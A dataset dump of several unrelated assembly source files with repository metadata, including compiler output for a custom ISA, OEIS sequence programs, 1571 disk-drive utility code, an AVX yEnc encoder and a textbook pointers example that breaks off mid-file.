47 45 45 47 45 00 47 45 48 45 00 48 47 00 45 45 45 00 48 45 45 45 45 49 45 48 49 00 45 00 49 45 48 47 45 00 48 45 00 47 00 45 00 48 45 48 48 48 00 47 48 45 48 47 45 48 45 48 48 45 45 45 48 47 45 00 00 00 48 45 45 47 00 45 00 47 00 45 45 48 45 45 48 47 00 45 45 45 48 45 45 47 45 48 45 48 45 00 45 48 45 00 48 49 48 47 49 45 48 49 00 47 45 00 45 48 45 45 47 47 45 45 45 00 45 45 47 47 45 45 48 47 48 48 00 47 45 00 47 45 00 45 45 45 00 47 47 45 48 48 45 45 45 00 45 48 45 45 48 45 47 45 00 47 47 45 45 00 47 48 48 45 00 47 45 00 48 48 48 48 45 45 45 48 45 48 45 48 48 00 45 45 48 48 45 00 45 45 45 48 48 45 48 47 00 45 48 45 45 47 45 48 00 45 49 45 47 49 00 00 47 45
*/
| 33.092827 | 2,999 | 0.655234 |
c817c5eb2717c5e12ab670f3ff9faa01437a3f88 | 9,339 | asm | Assembly | TestSource/IHTest.asm | davidov541/MiniC | d3b16a1568b97a4d801880b110a8be04fe848adb | [
"Apache-2.0"
] | null | null | null | TestSource/IHTest.asm | davidov541/MiniC | d3b16a1568b97a4d801880b110a8be04fe848adb | [
"Apache-2.0"
] | null | null | null | TestSource/IHTest.asm | davidov541/MiniC | d3b16a1568b97a4d801880b110a8be04fe848adb | [
"Apache-2.0"
] | null | null | null | //IHvoid: funcdecl 0, ,
IHvoid:// Words: 0
addi $sp, 11
// Words: 1
move $sp, $rr
// Words: 2
addi $0, -2
// Words: 3
sdw $ra, $sp, $rr
// Words: 4
addi $rr, -2
// Words: 5
sdw $fp, $sp, $rr
// Words: 6
move $fp, $sp
// Words: 7
addi $rr, -1
// Words: 8
// Words: 9
ldi $k2, 0
// Words: 10
swn $k2, $fp, $rr
// Words: 11
addi $rr, -2
// Words: 12
sdw $s0, $fp, $rr
// Words: 13
addi $rr, -2
// Words: 14
sdw $s1, $fp, $rr
//: loadi *tmp, , -1
// Words: 15
// Words: 16
ldi $k0, -1
//: store c, 0, *tmp
// Words: 17
// Words: 18
ldi $k2, -11
// Words: 19
sdw $k0, $fp, $k2
//: load *tmp, 0, c
// Words: 20
// Words: 21
ldi $k2, -11
// Words: 22
ldw $k0, $fp, $k2
//: param *tmp, ,
// Words: 23
sdw $k0, $sp, $0
//: funccall , 1, putcharint
// Words: 24
addi $sp, 2
// Words: 25
move $a, $sp
// Words: 26
move $sp, $rr
// Words: 27
// Words: 28
// Words: 29
// Words: 30
// Words: 31
// Words: 32
// Words: 33
la $k2, putcharint
// Words: 34
jalr $k2
// Words: 35
addi $sp, -2
// Words: 36
move $sp, $rr
//: funcend , ,
// Words: 37
addi $0, -2
// Words: 38
ldw $ra, $fp, $rr
// Words: 39
addi $rr, -5
// Words: 40
ldw $s0, $fp, $rr
// Words: 41
addi $rr, -2
// Words: 42
ldw $s1, $fp, $rr
// Words: 43
addi $fp, -11
// Words: 44
move $sp, $rr
// Words: 45
// Words: 46
ldi $k0, -4
// Words: 47
ldw $fp, $fp, $k0
// Words: 48
jr $ra
//mainint: funcdecl 1, ,
mainint:// Words: 49
addi $sp, 4
// Words: 50
move $gp, $rr
// Words: 51
move $sp, $rr
//: loadi *tmp, , -6
global:// Words: 52
// Words: 53
ldi $k0, -6
//: store currx, 0, *tmp
// Words: 54
addi $gp, -2
// Words: 55
sdw $k0, $0, $rr
//: loadi *tmp, , 0
// Words: 56
// Words: 57
ldi $k0, 0
//: store curry, 0, *tmp
// Words: 58
addi $gp, -4
// Words: 59
sdw $k0, $0, $rr
//: loadi *tmp, , 0
L2:// Words: 60
// Words: 61
ldi $k0, 0
//: store i, 0, *tmp
// Words: 62
// Words: 63
ldi $k2, -11
// Words: 64
sdw $k0, $fp, $k2
//: jump , ,
// Words: 65
// Words: 66
// Words: 67
// Words: 68
// Words: 69
// Words: 70
// Words: 71
la $k2, L2
// Words: 72
jr $k2
//: loadi *tmp, , 0
L3:// Words: 73
// Words: 74
ldi $k0, 0
//: jr , *tmp,
// Words: 75
move $v, $k0
// Words: 76
addi $0, -2
// Words: 77
ldw $ra, $fp, $rr
// Words: 78
addi $rr, -3
// Words: 79
addi $rr, -2
// Words: 80
ldw $s0, $fp, $rr
// Words: 81
addi $rr, -2
// Words: 82
ldw $s1, $fp, $rr
// Words: 83
addi $fp, -11
// Words: 84
move $sp, $rr
// Words: 85
// Words: 86
ldi $k0, -4
// Words: 87
ldw $fp, $fp, $k0
// Words: 88
jr $ra
//putcharint: funcdecl 1, ,
putcharint:// Words: 89
addi $sp, 13
// Words: 90
move $sp, $rr
// Words: 91
addi $0, -2
// Words: 92
sdw $ra, $sp, $rr
// Words: 93
addi $rr, -2
// Words: 94
sdw $fp, $sp, $rr
// Words: 95
move $fp, $sp
// Words: 96
addi $rr, -1
// Words: 97
// Words: 98
ldi $k2, 1
// Words: 99
swn $k2, $fp, $rr
// Words: 100
addi $rr, -2
// Words: 101
sdw $s0, $fp, $rr
// Words: 102
addi $rr, -2
// Words: 103
sdw $s1, $fp, $rr
//: formal c, ,
// Words: 104
ldw $k2, $a, $0
// Words: 105
addi $0, -11
// Words: 106
sdw $k2, $fp, $rr
//: loadi *tmp, , 6
// Words: 107
// Words: 108
ldi $k0, 6
//: store intervalx, 0, *tmp
// Words: 109
// Words: 110
ldi $k2, -13
// Words: 111
sdw $k0, $fp, $k2
//: load *tmp, 0, currx
// Words: 112
addi $gp, -2
// Words: 113
ldw $k0, $0, $rr
//: push , , *tmp
// Words: 114
addi $sp, 2
// Words: 115
sdw $k0, $sp, $0
// Words: 116
move $sp, $rr
//: loadi *tmp, , 255
// Words: 117
// Words: 118
ldi $k0, 255
//: push , , *tmp
// Words: 119
addi $sp, 2
// Words: 120
sdw $k0, $sp, $0
// Words: 121
move $sp, $rr
//: load *tmp, 0, intervalx
// Words: 122
// Words: 123
ldi $k2, -13
// Words: 124
ldw $k0, $fp, $k2
//: loadi *tmp2, , 1
// Words: 125
// Words: 126
ldi $k1, 1
//: << *tmp2, *tmp2, *tmp
// Words: 127
sll $k0, $k1
// Words: 128
move $k1, $rr
//: pop *tmp, ,
// Words: 129
addi $sp, -2
// Words: 130
move $sp, $rr
// Words: 131
ldw $k0, $sp, $0
//: - *tmp2, *tmp2, *tmp
// Words: 132
sub $k0, $k1
// Words: 133
move $k1, $rr
//: pop *tmp, ,
// Words: 134
addi $sp, -2
// Words: 135
move $sp, $rr
// Words: 136
ldw $k0, $sp, $0
//: > *tmp, *tmp2, *tmp
// Words: 137
// Words: 138
// Words: 139
// Words: 140
// Words: 141
// Words: 142
// Words: 143
la $k2, L12
// Words: 144
bgt $k0, $k1, $k2
// Words: 145
// Words: 146
ldi $k0, 0
// Words: 147
// Words: 148
// Words: 149
// Words: 150
// Words: 151
// Words: 152
// Words: 153
la $k2, L13
// Words: 154
jr $k2
// Words: 155
// Words: 156
L12:ldi $k0, 1
L13:
//: push , , *tmp
// Words: 157
addi $sp, 2
// Words: 158
sdw $k0, $sp, $0
// Words: 159
move $sp, $rr
//: load *tmp, 0, c
// Words: 160
// Words: 161
ldi $k2, -11
// Words: 162
ldw $k0, $fp, $k2
//: loadi *tmp2, , 10
// Words: 163
// Words: 164
ldi $k1, 10
//: == *tmp2, *tmp2, *tmp
// Words: 165
// Words: 166
// Words: 167
// Words: 168
// Words: 169
// Words: 170
// Words: 171
la $k2, L14
// Words: 172
beq $k0, $k1, $k2
// Words: 173
// Words: 174
ldi $k1, 0
// Words: 175
// Words: 176
// Words: 177
// Words: 178
// Words: 179
// Words: 180
// Words: 181
la $k2, L15
// Words: 182
jr $k2
// Words: 183
// Words: 184
L14:ldi $k1, 1
L15:
//: pop *tmp, ,
// Words: 185
addi $sp, -2
// Words: 186
move $sp, $rr
// Words: 187
ldw $k0, $sp, $0
//: || *tmp, *tmp2, *tmp
// Words: 188
// Words: 189
// Words: 190
// Words: 191
// Words: 192
// Words: 193
// Words: 194
la $k2, L16
// Words: 195
bne $0, $k0, $k2
// Words: 196
bne $0, $k1, $k2
// Words: 197
move $k0, $0
// Words: 198
// Words: 199
// Words: 200
// Words: 201
// Words: 202
// Words: 203
// Words: 204
la $k2, L17
// Words: 205
jr $k2
// Words: 206
// Words: 207
L16: ldi $k0, 1
// Words: 208
L17: nop
//: if *tmp, ,
// Words: 209
// Words: 210
// Words: 211
// Words: 212
// Words: 213
// Words: 214
// Words: 215
la $k2, L6
// Words: 216
beq $k0, $0, $k2
//: loadi *tmp, , 0
L5:// Words: 217
// Words: 218
ldi $k0, 0
//: store currx, 0, *tmp
// Words: 219
addi $gp, -2
// Words: 220
sdw $k0, $0, $rr
//: load *tmp, 0, curry
// Words: 221
addi $gp, -4
// Words: 222
ldw $k0, $0, $rr
//: loadi *tmp2, , 10
// Words: 223
// Words: 224
ldi $k1, 10
//: + *tmp, *tmp2, *tmp
// Words: 225
add $k0, $k1
// Words: 226
move $k0, $rr
//: store curry, 0, *tmp
// Words: 227
addi $gp, -4
// Words: 228
sdw $k0, $0, $rr
// Words: 229
// Words: 230
// Words: 231
// Words: 232
// Words: 233
// Words: 234
// Words: 235
la $k2, L7
// Words: 236
jr $k2
//: load *tmp, 0, currx
L6:// Words: 237
addi $gp, -2
// Words: 238
ldw $k0, $0, $rr
//: load *tmp2, 0, intervalx
// Words: 239
// Words: 240
ldi $k2, -13
// Words: 241
ldw $k1, $fp, $k2
//: + *tmp, *tmp2, *tmp
// Words: 242
add $k0, $k1
// Words: 243
move $k0, $rr
//: store currx, 0, *tmp
// Words: 244
addi $gp, -2
// Words: 245
sdw $k0, $0, $rr
//: load *tmp, 0, c
L7:// Words: 246
// Words: 247
ldi $k2, -11
// Words: 248
ldw $k0, $fp, $k2
//: loadi *tmp2, , 10
// Words: 249
// Words: 250
ldi $k1, 10
//: beq , *tmp2, *tmp
// Words: 251
// Words: 252
// Words: 253
// Words: 254
// Words: 255
// Words: 256
// Words: 257
la $k2, L11
// Words: 258
beq $k0, $k1, $k2
//: assembly rp $v, 3, ,
L8:// Words: 259
rp $v, 3
//: move *tmp, , *v
// Words: 260
move $k0, $v
//: loadi *tmp2, , 0
// Words: 261
// Words: 262
ldi $k1, 0
//: blte , *tmp2, *tmp
// Words: 263
// Words: 264
// Words: 265
// Words: 266
// Words: 267
// Words: 268
// Words: 269
la $k2, L10
// Words: 270
blt $k0, $k1, $k2
// Words: 271
beq $k0, $k1, $k2
//: jump , ,
L9:// Words: 272
// Words: 273
// Words: 274
// Words: 275
// Words: 276
// Words: 277
// Words: 278
la $k2, L8
// Words: 279
jr $k2
//: assembly ldi $k0, 512;add $k0, $s1;wp $rr, 3;ldi $k0, 1024;add $k0, $s0;wp $rr, 3;ldi $k0, 1543;wp $k0, 3;, ,
L10:// Words: 280
addi $gp, -2
// Words: 281
ldw $s1, $0, $rr
// Words: 282
addi $gp, -4
// Words: 283
ldw $s0, $0, $rr
// Words: 284
ldi $k0, 512
// Words: 285
add $k0, $s1
// Words: 286
wp $rr, 3
// Words: 287
ldi $k0, 1024
// Words: 288
add $k0, $s0
// Words: 289
wp $rr, 3
// Words: 290
ldi $k0, 1543
// Words: 291
wp $k0, 3
//: move *tmp, , *v
// Words: 292
move $k0, $v
//: assembly ldi $s0, 2048;add $s0, $s1;wp $rr, 3, ,
// Words: 293
// Words: 294
ldi $k2, -11
// Words: 295
ldw $s1, $fp, $k2
// Words: 296
ldi $s0, 2048
// Words: 297
add $s0, $s1
// Words: 298
wp $rr, 3
//: move *tmp, , *v
// Words: 299
move $k0, $v
//: load *tmp, 0, c
L11:// Words: 300
// Words: 301
ldi $k2, -11
// Words: 302
ldw $k0, $fp, $k2
//: jr , *tmp,
// Words: 303
move $v, $k0
// Words: 304
addi $0, -2
// Words: 305
ldw $ra, $fp, $rr
// Words: 306
addi $rr, -3
// Words: 307
addi $rr, -2
// Words: 308
ldw $s0, $fp, $rr
// Words: 309
addi $rr, -2
// Words: 310
ldw $s1, $fp, $rr
// Words: 311
addi $fp, -13
// Words: 312
move $sp, $rr
// Words: 313
// Words: 314
ldi $k0, -4
// Words: 315
ldw $fp, $fp, $k0
// Words: 316
jr $ra
| 15.855688 | 115 | 0.505515 |
7b8dc3d4390388c6a7d6d43f5ccd8d59e9d7c186 | 389 | asm | Assembly | oeis/040/A040354.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/040/A040354.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/040/A040354.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A040354: Continued fraction for sqrt(374).
; Submitted by Christian Krause
; 19,2,1,18,1,2,38,2,1,18,1,2,38,2,1,18,1,2,38,2,1,18,1,2,38,2,1,18,1,2,38,2,1,18,1,2,38,2,1,18,1,2,38,2,1,18,1,2,38,2,1,18,1,2,38,2,1,18,1,2,38,2,1,18,1,2,38,2,1,18,1,2,38,2,1,18,1,2,38,2,1
seq $0,10140 ; Continued fraction for sqrt(54).
seq $0,133893 ; Numbers m such that binomial(m+3,m) mod 3 = 0.
sub $0,6
| 48.625 | 190 | 0.642674 |
79ee58a8e66379c259ce715271a0fd1a52ea7f7d | 487 | asm | Assembly | oeis/067/A067895.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/067/A067895.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/067/A067895.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A067895: Write 2^n, 2^n+1, 2^n+2, ..., 2^(n+1)-1 in binary and add as if they were decimal numbers.
; Submitted by Jamie Morken(s1)
; 1,21,422,8444,168888,3377776,67555552,1351111104,27022222208,540444444416,10808888888832,216177777777664,4323555555555328,86471111111110656,1729422222222221312,34588444444444442624,691768888888888885248,13835377777777777770496,276707555555555555540992
add $0,1
mov $3,1
lpb $0
sub $0,1
mul $1,20
add $1,$3
add $2,$3
mov $3,$2
lpe
mov $0,$1
| 32.466667 | 253 | 0.7577 |
c596bf4a75664016b4dfce957c189fb748903fd5 | 2,572 | asm | Assembly | 1571/64tass/utl.asm | silverdr/assembly | c2851f7033223e089285dce22443b7e219ed4f61 | [
"Unlicense"
] | 23 | 2015-03-23T15:16:57.000Z | 2022-03-18T12:43:42.000Z | 1571/64tass/utl.asm | silverdr/assembly | c2851f7033223e089285dce22443b7e219ed4f61 | [
"Unlicense"
] | null | null | null | 1571/64tass/utl.asm | silverdr/assembly | c2851f7033223e089285dce22443b7e219ed4f61 | [
"Unlicense"
] | 8 | 2016-04-13T11:19:35.000Z | 2021-12-22T07:39:00.000Z | ;***************************
;** **
;** 1571 UTILITY **
;** **
;** * * * * * * * * * * * **
;** U0 n S = int. dos **
;** U0 n R = retries **
;** U0 n T = signature **
;** U0 n H = side **
;** U0 n # = device **
;** **
;** n = ">" ascii **
;** **
;***************************
cmdsec lda cmdbuf+4
sta secinc
rts
cmdret lda cmdbuf+4
sta revcnt
rts
sign jmp signature ; finish up there
sside .proc
sei
lda pota1
and #$20 ;**TODO**
bne utlbad
lda cmdbuf+4
cmp #'1'
beq fst
cmp #'0'
bne utlbad
lda pota1
and #$fb ;**TODO**
sta pota1
cli
bit switch
bpl ht
rts
fst lda pota1
ora #4 ;**TODO**
sta pota1
cli
bit switch
bmi +
ht jmp initdr
+ rts
.pend
chgutl ldx cmdsiz ; chk cmd size
cpx #4
bcc utlbad ; br, error no parameters
lda cmdbuf+3
cmp #'S' ; sector interleave ?
beq cmdsec
cmp #'R' ; retry
beq cmdret
cmp #'T' ; test ROM
beq sign
cmp #'M' ; mode
beq smode
cmp #'H'
beq sside
jmp ptch61
rtch61 bcc utlbad
cpy #31
bcs utlbad
lda #$40 ; change device #
sta tlkadr ; clear old
lda #$20
sta lsnadr ; *
tya
clc
adc tlkadr
sta tlkadr ; new
tya
clc
adc lsnadr
sta lsnadr ; new
rts
utlbad lda #badcmd
jmp cmderr
smode sei
lda cmdbuf+4
cmp #'1'
beq +
cmp #'0'
bne utlbad
lda pota1
and #$df ;**TODO**
sta pota1
jsr jslowd
jsr ptch10
lda lock
ora #$80
sta lock
cli
bit switch
bpl chn
rts
+ lda pota1
ora #$20 ;**TODO**
sta pota1
jsr jslowd
lda #<jirq
sta irqjmp
lda #>jirq
sta irqjmp+1
lda #$40
sta t1hl2
sta t1hc2
lda lock
and #$7f
sta lock
lda #0
sta nxtst
cli
bit switch
bmi +
chn jmp initdr
+ rts
| 18.637681 | 49 | 0.360031 |
1ea7a3b2625b52d0b9ed87d9f50be1957f9bd785 | 144 | asm | Assembly | other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/ツール/tool/old_cos/sfc/yst_vma.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/ツール/tool/old_cos/sfc/yst_vma.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | other.7z/SFC.7z/SFC/ソースデータ/ヨッシーアイランド/ツール/tool/old_cos/sfc/yst_vma.asm | prismotizm/gigaleak | d082854866186a05fec4e2fdf1def0199e7f3098 | [
"MIT"
] | null | null | null | Name: yst_vma.asm
Type: file
Size: 8516
Last-Modified: '2016-05-13T04:52:55Z'
SHA-1: 959348699C483CD817B070EE0A92493BBB8C9BCA
Description: null
| 20.571429 | 47 | 0.8125 |
05e458c098f3a6d78b78f9e21b225a95f6b28a4d | 762 | asm | Assembly | oeis/319/A319842.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/319/A319842.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/319/A319842.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A319842: a(n) = 8 * A104720(n) + ceiling(n/2).
; Submitted by Christian Krause
; 8,89,897,8978,89786,897867,8978675,89786756,897867564,8978675645,89786756453,897867564534,8978675645342,89786756453423,897867564534231,8978675645342312,89786756453423120,897867564534231201,8978675645342312009,89786756453423120090,897867564534231200898,8978675645342312008979,89786756453423120089787,897867564534231200897868,8978675645342312008978676,89786756453423120089786757,897867564534231200897867565,8978675645342312008978675646,89786756453423120089786756454,897867564534231200897867564535
add $0,1
mov $2,1
lpb $0
mov $3,$0
mul $0,4
sub $0,1
div $0,4
mod $3,2
mul $3,3
sub $3,1
mul $3,$2
add $1,$3
mul $2,10
add $2,1
lpe
sub $2,$1
mov $0,$2
sub $0,1
| 33.130435 | 496 | 0.795276 |
feabb4b25b4dcdb9aa1b80b3cfe1bccb8fa61257 | 432 | asm | Assembly | programs/patternscroll.asm | poeticAndroid/cyberbit | 36209f8694167e84c13ea8f2aa45a3bf581dab5f | [
"MIT"
] | 1 | 2022-03-04T11:11:46.000Z | 2022-03-04T11:11:46.000Z | programs/patternscroll.asm | poeticAndroid/cyberbit | 36209f8694167e84c13ea8f2aa45a3bf581dab5f | [
"MIT"
] | null | null | null | programs/patternscroll.asm | poeticAndroid/cyberbit | 36209f8694167e84c13ea8f2aa45a3bf581dab5f | [
"MIT"
] | null | null | null | ;; z28r asm
jump main
fn main args
vars adr
let adr = 0x40000000
while lt adr < 0x40004800
store8 adr adr
inc adr += 1
end
let adr = 0x40000000
while true
if load8u 0x40004b04
store8 0x40004800 load8u 0x40004b05
store 0x40004b04 0
end
while lt adr < 0x40004800
store8 adr add 1 + load8u adr
inc adr += 1
end
let adr = 0x40000000
;vsync
end
return 0
end
| 13.5 | 41 | 0.625 |
0edb10a7e73f033a59dee105135ceb227ebe02e5 | 7,673 | asm | Assembly | cyencavx.asm | meganomic/cyenc | c08bf3419390f78f0779017dc36cbd5fd9f82d44 | [
"MIT"
] | 2 | 2016-08-22T14:10:05.000Z | 2016-08-22T20:52:11.000Z | cyencavx.asm | meganomic/cyenc | c08bf3419390f78f0779017dc36cbd5fd9f82d44 | [
"MIT"
] | 1 | 2018-08-08T04:43:07.000Z | 2018-08-10T14:37:17.000Z | cyencavx.asm | meganomic/cyenc | c08bf3419390f78f0779017dc36cbd5fd9f82d44 | [
"MIT"
] | null | null | null | global encode
global decode
default rel
%ifidn __OUTPUT_FORMAT__, win64 ; Windows calling convention
%define outputarray rcx
%define inputarray rdx
%define inputsize r8
%elifidn __OUTPUT_FORMAT__, elf64 ; Linux calling convention
%define outputarray rdi
%define inputarray rsi
%define inputsize rdx
%endif
section .text
align 16
encode: ; encode(outputarray, inputarray, inputsize) returns the size of the output
sub rsp, 8 ; Align the stack to 16, I do not understand why it's not already align to 16.
push r12 ; calling convention demands saving various registers
push r13
push r14
push r15
%ifidn __OUTPUT_FORMAT__, win64 ; Windows calling convention
sub rsp, 160
vmovdqa [rsp+16*0], xmm6
vmovdqa [rsp+16*1], xmm7
vmovdqa [rsp+16*2], xmm8
vmovdqa [rsp+16*3], xmm9
vmovdqa [rsp+16*4], xmm10
vmovdqa [rsp+16*5], xmm11
vmovdqa [rsp+16*6], xmm12
vmovdqa [rsp+16*7], xmm13
vmovdqa [rsp+16*8], xmm14
vmovdqa [rsp+16*9], xmm15
%endif
mov r9, outputarray ; Memory address of outputarray, will use this to get the size of the output later
mov r11, 4 ; The maximum length of each line is 128 characters, 4 iterations will result in adequate results. 4*32=128
align 16
.encodeset:
vmovaps ymm0, [inputarray] ; Read 32 bytes from memory
vpaddb ymm0, [const1] ; +42 as per yEnc spec
vpcmpeqb ymm1, ymm0, [specialNull] ; 0x00
vpcmpeqb ymm2, ymm0, [specialEqual] ; 0x3D
vpcmpeqb ymm3, ymm0, [specialLF] ; 0x0A
vpcmpeqb ymm4, ymm0, [specialCR] ; 0x0D
vpor ymm1, ymm2 ; Merge compare results
vpor ymm1, ymm3
vpor ymm1, ymm4
vptest ymm1, ymm1
jnz .encodeillegalcharacters
vmovdqu [outputarray], ymm0 ; Write to memory, no additional processing needed
add outputarray, 32
add inputarray, 32
sub inputsize, 32
jbe .done ; Yay! It's done!
sub r11, 1
jz .newline
jmp .encodeset
align 16
.encodeillegalcharacters:
vpxor xmm10, xmm10
vpxor xmm11, xmm11
vpxor xmm12, xmm12
; Add 64 to every byte in the mask
vpand ymm9, ymm1, [specialEncode]
vpaddb ymm0, ymm9
vpxor ymm7, ymm7 ; Need some zeroes
vpbroadcastb ymm5, [specialEqual] ; Escape character
vpunpcklbw ymm5, ymm0 ; Unpack lower half of data
vpunpcklbw ymm7, ymm1 ; Unpack lower half of mask
vpsrldq ymm7, 1 ; Shift data register 1 byte to the right to align with [writebytes]
vpor ymm6, ymm7, [writebytes] ; Add masks together
;--------------------------- Lower 8 bytes of the *low* part of ymm5 --- START
vmovq r12, xmm5
vmovq r13, xmm6
pext rax, r12, r13
mov qword [outputarray], rax
vmovq xmm12, r13
vpmovmskb r14, xmm12
popcnt r10, r14
add outputarray, r10 ; add however many bytes were written
;--
vpsrldq xmm14, xmm5, 8 ; Shift mask register 8 bytes to the right
vpsrldq xmm15, xmm6, 8 ; Shift mask register 8 bytes to the right
vmovq r12, xmm14
vmovq r13, xmm15
pext rax, r12, r13
mov qword [outputarray], rax
vmovq xmm12, r13
vpmovmskb r14, xmm12
popcnt r10, r14
add outputarray, r10 ; add however many bytes were written
;--------------------------- Lower 8 bytes of the *low* part of ymm5 --- END
;--------------------------- Lower 8 bytes of the *high* part of ymm5 --- START SAVE DATA
; Seems simpler to just save the data here and process/write the data in order later
; If nothing else, it skips on having to keep track of a bunch of extra registers
vextracti128 xmm10, ymm5, 1
vextracti128 xmm11, ymm6, 1
;--------------------------- Lower 8 bytes of the *high* part of ymm5 --- END SAVE DATA
vmovaps ymm7, [specialNull]
vmovaps ymm5, [specialEqual] ; Escape character
vpunpckhbw ymm5, ymm5, ymm0 ; Unpack higher half of data
vpunpckhbw ymm7, ymm7, ymm1 ; Unpack higher half of mask
vpsrldq ymm7, 1 ; Shift data register 1 byte to the right to align with ymm6
vpor ymm6, ymm7, [writebytes] ; Add masks together
;--------------------------- Higher 8 bytes of the *low* part of ymm5 --- START
vmovq r12, xmm5
vmovq r13, xmm6
pext rax, r12, r13
mov qword [outputarray], rax
vmovq xmm12, r13
vpmovmskb r14, xmm12
popcnt r10, r14
add outputarray, r10 ; add however many bytes were written
;--
vpsrldq xmm14, xmm5, 8 ; Shift mask register 8 bytes to the right
vpsrldq xmm15, xmm6, 8 ; Shift mask register 8 bytes to the right
vmovq r12, xmm14
vmovq r13, xmm15
pext rax, r12, r13
mov qword [outputarray], rax
vmovq xmm12, r13
vpmovmskb r14, xmm12
popcnt r10, r14
add outputarray, r10 ; add however many bytes were written
;--------------------------- Higher 8 bytes of the *low* part of ymm5 --- END
;--------------------------- Lower 8 bytes of the *high* part of ymm5 --- START PROCESSING
vmovq r12, xmm10
vmovq r13, xmm11
pext rax, r12, r13
mov qword [outputarray], rax
vmovq xmm12, r13
vpmovmskb r14, xmm12
popcnt r10, r14
add outputarray, r10 ; add however many bytes were written
;--
vpsrldq xmm10, 8 ; Shift mask register 8 bytes to the right
vpsrldq xmm11, 8 ; Shift mask register 8 bytes to the right
vmovq r12, xmm10
vmovq r13, xmm11
pext rax, r12, r13
mov qword [outputarray], rax
vmovq xmm12, r13
vpmovmskb r14, xmm12
popcnt r10, r14
add outputarray, r10 ; add however many bytes were written
;--------------------------- Lower 8 bytes of the *high* part of ymm5 --- END PROCESSING
;--------------------------- Higher 8 bytes of the *high* part of ymm5 --- START
vextracti128 xmm10, ymm5, 1
vextracti128 xmm11, ymm6, 1
vmovq r12, xmm10
vmovq r13, xmm11
pext rax, r12, r13
mov qword [outputarray], rax
vmovq xmm12, r13
vpmovmskb r14, xmm12
popcnt r10, r14
add outputarray, r10 ; add however many bytes were written
;--
vpsrldq xmm10, 8 ; Shift mask register 8 bytes to the right
vpsrldq xmm11, 8 ; Shift mask register 8 bytes to the right
vmovq r12, xmm10
vmovq r13, xmm11
pext rax, r12, r13
mov qword [outputarray], rax
vmovq xmm12, r13
vpmovmskb r14, xmm12
popcnt r10, r14
add outputarray, r10 ; add however many bytes were written
;--------------------------- Higher 8 bytes of the *high* part of ymm5 --- END
add inputarray, 32
sub inputsize, 32
jbe .done ; Yay! It's done!
sub r11, 1
jz .newline
jmp .encodeset
align 16
.newline:
mov word [outputarray], 0x0A0D ; \r\n
add outputarray, 2 ; increase output array pointer
mov r11, 4 ; Reset counter
jmp .encodeset
align 16
.done:
sub outputarray, r9 ; subtract original position from current and we get the size
mov rax, outputarray ; Return output size
add rax, inputsize ; correct for input not being a multiple of 16.
%ifidn __OUTPUT_FORMAT__, win64 ; Windows calling convention
vmovdqa xmm6, [rsp+16*0]
vmovdqa xmm7, [rsp+16*1]
vmovdqa xmm8, [rsp+16*2]
vmovdqa xmm9, [rsp+16*3]
vmovdqa xmm10, [rsp+16*4]
vmovdqa xmm11, [rsp+16*5]
vmovdqa xmm12, [rsp+16*6]
vmovdqa xmm13, [rsp+16*7]
vmovdqa xmm14, [rsp+16*8]
vmovdqa xmm15, [rsp+16*9]
add rsp, 160
%endif
pop r15
pop r14
pop r13 ; restore some registers to their original state
pop r12
add rsp, 8 ; Reset
ret
section .data align=32
specialNull: times 4 dq 0x0000000000000000
specialEqual: times 4 dq 0x3D3D3D3D3D3D3D3D
specialLF: times 4 dq 0x0A0A0A0A0A0A0A0A
specialCR: times 4 dq 0x0D0D0D0D0D0D0D0D
specialSpace: times 4 dq 0x2020202020202020
writebytes: times 4 dq 0xFF00FF00FF00FF00
const1: times 4 dq 0x2A2A2A2A2A2A2A2A
specialEncode: times 4 dq 0x4040404040404040
decodeconst3: dq 0x00000000000000FF
dq 0x0000000000000000
decodeconst4: dq 0xFFFFFFFFFFFFFF00
dq 0xFFFFFFFFFFFFFFFF | 30.692 | 120 | 0.682784 |
9a5cd3747ce6c93c0609dead6d36c326588145b8 | 680 | asm | Assembly | Examples/ch04/Pointers.asm | satadriver/LiunuxOS | 693174ac2b3e503d72782fc7a14f18c8a4f2756c | [
"Apache-2.0"
] | null | null | null | Examples/ch04/Pointers.asm | satadriver/LiunuxOS | 693174ac2b3e503d72782fc7a14f18c8a4f2756c | [
"Apache-2.0"
] | null | null | null | Examples/ch04/Pointers.asm | satadriver/LiunuxOS | 693174ac2b3e503d72782fc7a14f18c8a4f2756c | [
"Apache-2.0"
] | null | null | null | TITLE Pointers (Pointers.asm)
; Demonstration of pointers and TYPEDEF.
; Last update: 2/1/02
INCLUDE Irvine32.inc
; Create user-defined types.
PBYTE TYPEDEF PTR BYTE ; pointer to bytes
PWORD TYPEDEF PTR WORD ; pointer to words
PDWORD TYPEDEF PTR DWORD ; pointer to doublewords
.data
